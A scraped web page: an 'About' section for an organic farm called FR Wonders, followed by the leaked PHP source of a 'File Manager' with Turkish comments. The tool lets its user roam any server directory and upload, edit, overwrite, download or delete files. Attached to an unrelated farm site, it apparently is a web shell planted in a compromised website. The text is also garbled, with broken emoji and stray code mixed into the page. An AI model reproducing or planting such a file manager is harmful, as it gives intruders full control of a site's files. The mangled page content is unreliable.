About FR Wonders
Our story of bringing organic goodness from farm to your family
Our Mission
Growing Purity, Delivering Health
At FR Wonders, we believe that what you eat defines your health. That's why everything we grow, harvest, and deliver is 100% organic β free from chemicals, pesticides, and synthetic additives.
Founded in the lush agricultural lands of Karimangalam, Dharmapuri, Tamil Nadu, we are a family-run organic farm committed to sustainable farming practices that respect the soil, the ecosystem, and the communities we serve.
Our Values
πΏ
100% Organic
No chemicals, no GMOs, no compromises. Our certification is your guarantee.
π€
Farmer First
We support local farming families and pay fair wages for honest, hard work.
π
Eco-Conscious
Sustainable farming methods that protect the soil for future generations.
π
Community Care
A portion of every order supports local farmers and organic education programs.
File Manager Login
File Manager
' . htmlspecialchars($error, ENT_QUOTES, 'UTF-8') . ''; ?>
'β‘', 'html' => 'π', 'css' => 'π¨', 'js' => 'π', 'json' => 'π',
'txt' => 'π', 'md' => 'π', 'pdf' => 'π', 'jpg' => 'πΌοΈ', 'jpeg' => 'πΌοΈ',
'png' => 'πΌοΈ', 'gif' => 'πΌοΈ', 'zip' => 'π¦', 'sql' => 'ποΈ', 'log' => 'π'
);
return isset($icons[$ext]) ? $icons[$ext] : 'π';
}
function isSafeName($name) {
if (!is_string($name) || $name === '' || $name === '.' || $name === '..') {
return false;
}
if (strpos($name, '/') !== false || strpos($name, '\\') !== false || strpos($name, "\0") !== false) {
return false;
}
return true;
}
$requested_dir = isset($_GET['dir']) ? (string)$_GET['dir'] : '';
$current_dir = ($requested_dir !== '') ? @realpath($requested_dir) : @getcwd();
if (!$current_dir || !@is_dir($current_dir) || !@is_readable($current_dir)) {
$current_dir = @getcwd();
}
$notice = '';
$notice_type = 'info';
// Toplu silme (POST)
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['bulk_delete']) && isset($_POST['selected_items']) && is_array($_POST['selected_items'])) {
$deleted_cnt = 0;
$failed_cnt = 0;
foreach ($_POST['selected_items'] as $raw_name) {
$dname = basename((string)$raw_name);
if (!isSafeName($dname)) {
$failed_cnt++;
continue;
}
$dtarget = $current_dir . DIRECTORY_SEPARATOR . $dname;
if (@is_dir($dtarget)) {
if (@rmdir($dtarget)) {
$deleted_cnt++;
} else {
$failed_cnt++;
}
} elseif (@file_exists($dtarget)) {
if (@unlink($dtarget)) {
$deleted_cnt++;
} else {
$failed_cnt++;
}
} else {
$failed_cnt++;
}
}
if ($deleted_cnt > 0 && $failed_cnt === 0) {
$notice = $deleted_cnt . ' item(s) deleted';
$notice_type = 'success';
} elseif ($deleted_cnt > 0) {
$notice = $deleted_cnt . ' deleted, ' . $failed_cnt . ' failed (not empty or permission denied)';
$notice_type = 'info';
} else {
$notice = 'Bulk delete failed (check permissions or non-empty folders)';
$notice_type = 'error';
}
}
// Dosya kaydetme (POST)
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['save_target'], $_POST['content'])) {
$target_name = basename((string)$_POST['save_target']);
if (isSafeName($target_name)) {
$target_file = $current_dir . DIRECTORY_SEPARATOR . $target_name;
$written = @file_put_contents($target_file, (string)$_POST['content'], LOCK_EX);
if ($written !== false) {
$notice = 'Saved: ' . $target_name;
$notice_type = 'success';
} else {
$notice = 'Save failed (check chmod / permissions or open_basedir)';
$notice_type = 'error';
}
} else {
$notice = 'Invalid file name';
$notice_type = 'error';
}
}
// Dosya / klasΓΆr oluΕturma (POST)
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_file']) && trim((string)$_POST['new_file']) !== '') {
$nf = trim((string)$_POST['new_file']);
if (isSafeName($nf)) {
$fp = $current_dir . DIRECTORY_SEPARATOR . $nf;
if (@file_exists($fp)) {
$notice = 'File already exists';
$notice_type = 'error';
} elseif (@file_put_contents($fp, '', LOCK_EX) !== false) {
$notice = 'File created: ' . $nf;
$notice_type = 'success';
} else {
$notice = 'Create file failed (no write permission)';
$notice_type = 'error';
}
}
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_dir']) && trim((string)$_POST['new_dir']) !== '') {
$nd = trim((string)$_POST['new_dir']);
if (isSafeName($nd)) {
$dp = $current_dir . DIRECTORY_SEPARATOR . $nd;
if (@file_exists($dp)) {
$notice = 'Folder already exists';
$notice_type = 'error';
} elseif (@mkdir($dp, 0755)) {
$notice = 'Folder created: ' . $nd;
$notice_type = 'success';
} else {
$notice = 'Create folder failed (no write permission)';
$notice_type = 'error';
}
}
}
// Dosya yΓΌkleme (POST)
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['upload_files'])) {
$uf = $_FILES['upload_files'];
$uploaded = 0;
if (isset($uf['name']) && is_array($uf['name'])) {
$cnt = count($uf['name']);
for ($i = 0; $i < $cnt; $i++) {
$uname = basename((string)$uf['name'][$i]);
if ((int)$uf['error'][$i] === UPLOAD_ERR_OK && isSafeName($uname)) {
$utarget = $current_dir . DIRECTORY_SEPARATOR . $uname;
if (@move_uploaded_file($uf['tmp_name'][$i], $utarget)) {
$uploaded++;
}
}
}
}
if ($uploaded > 0) {
$notice = $uploaded . ' file(s) uploaded';
$notice_type = 'success';
} else {
$notice = 'Upload failed';
$notice_type = 'error';
}
}
// Tekil silme (GET)
if (isset($_GET['delete'])) {
$dname = basename((string)$_GET['delete']);
if (isSafeName($dname)) {
$dtarget = $current_dir . DIRECTORY_SEPARATOR . $dname;
if (@is_dir($dtarget)) {
if (@rmdir($dtarget)) {
$notice = 'Folder deleted: ' . $dname;
$notice_type = 'success';
} else {
$notice = 'Delete folder failed (not empty or permission denied)';
$notice_type = 'error';
}
} elseif (@file_exists($dtarget)) {
if (@unlink($dtarget)) {
$notice = 'File deleted: ' . $dname;
$notice_type = 'success';
} else {
$notice = 'Delete file failed (permission denied)';
$notice_type = 'error';
}
}
}
}
// Δ°ndirme (GET)
if (isset($_GET['download'])) {
$dlname = basename((string)$_GET['download']);
if (isSafeName($dlname)) {
$dlfile = $current_dir . DIRECTORY_SEPARATOR . $dlname;
if (@is_file($dlfile) && @is_readable($dlfile)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . rawurlencode($dlname) . '"');
header('Content-Length: ' . @filesize($dlfile));
@readfile($dlfile);
exit;
}
}
}
// DΓΌzenleme modu (GET ?edit=...)
$edit_file_name = '';
$edit_file_content = '';
$edit_file_writable = false;
$edit_open_error = '';
if (isset($_GET['edit'])) {
$ename = basename((string)$_GET['edit']);
if (isSafeName($ename)) {
$efile = $current_dir . DIRECTORY_SEPARATOR . $ename;
if (@is_file($efile) && @is_readable($efile)) {
$raw = @file_get_contents($efile);
if ($raw !== false) {
$edit_file_name = $ename;
$edit_file_content = $raw;
$edit_file_writable = @is_writable($efile);
} else {
$edit_open_error = 'Cannot read file content (open_basedir or permission)';
}
} else {
$edit_open_error = 'File not found or not readable';
}
} else {
$edit_open_error = 'Invalid file name';
}
}
$files = @scandir($current_dir);
if (!is_array($files)) {
$files = array();
}
usort($files, function($a, $b) use ($current_dir) {
if ($a === '.' || $a === '..' || $b === '.' || $b === '..') return 0;
$a_dir = @is_dir($current_dir . DIRECTORY_SEPARATOR . $a);
$b_dir = @is_dir($current_dir . DIRECTORY_SEPARATOR . $b);
if ($a_dir && !$b_dir) return -1;
if (!$a_dir && $b_dir) return 1;
return strcasecmp($a, $b);
});
$sys_info = array(
'files' => max(0, count($files) - 2),
'free' => formatSize(@disk_free_space($current_dir)),
'session' => gmdate('H:i', isset($_SESSION['login_time']) ? time() - $_SESSION['login_time'] : 0)
);
?>
File Manager
Editing:
Warning: This file does not have write permission (is_writable = false). Saving may fail unless chmod / permissions allow writing.
/
' . safe($p) . '';
}
?>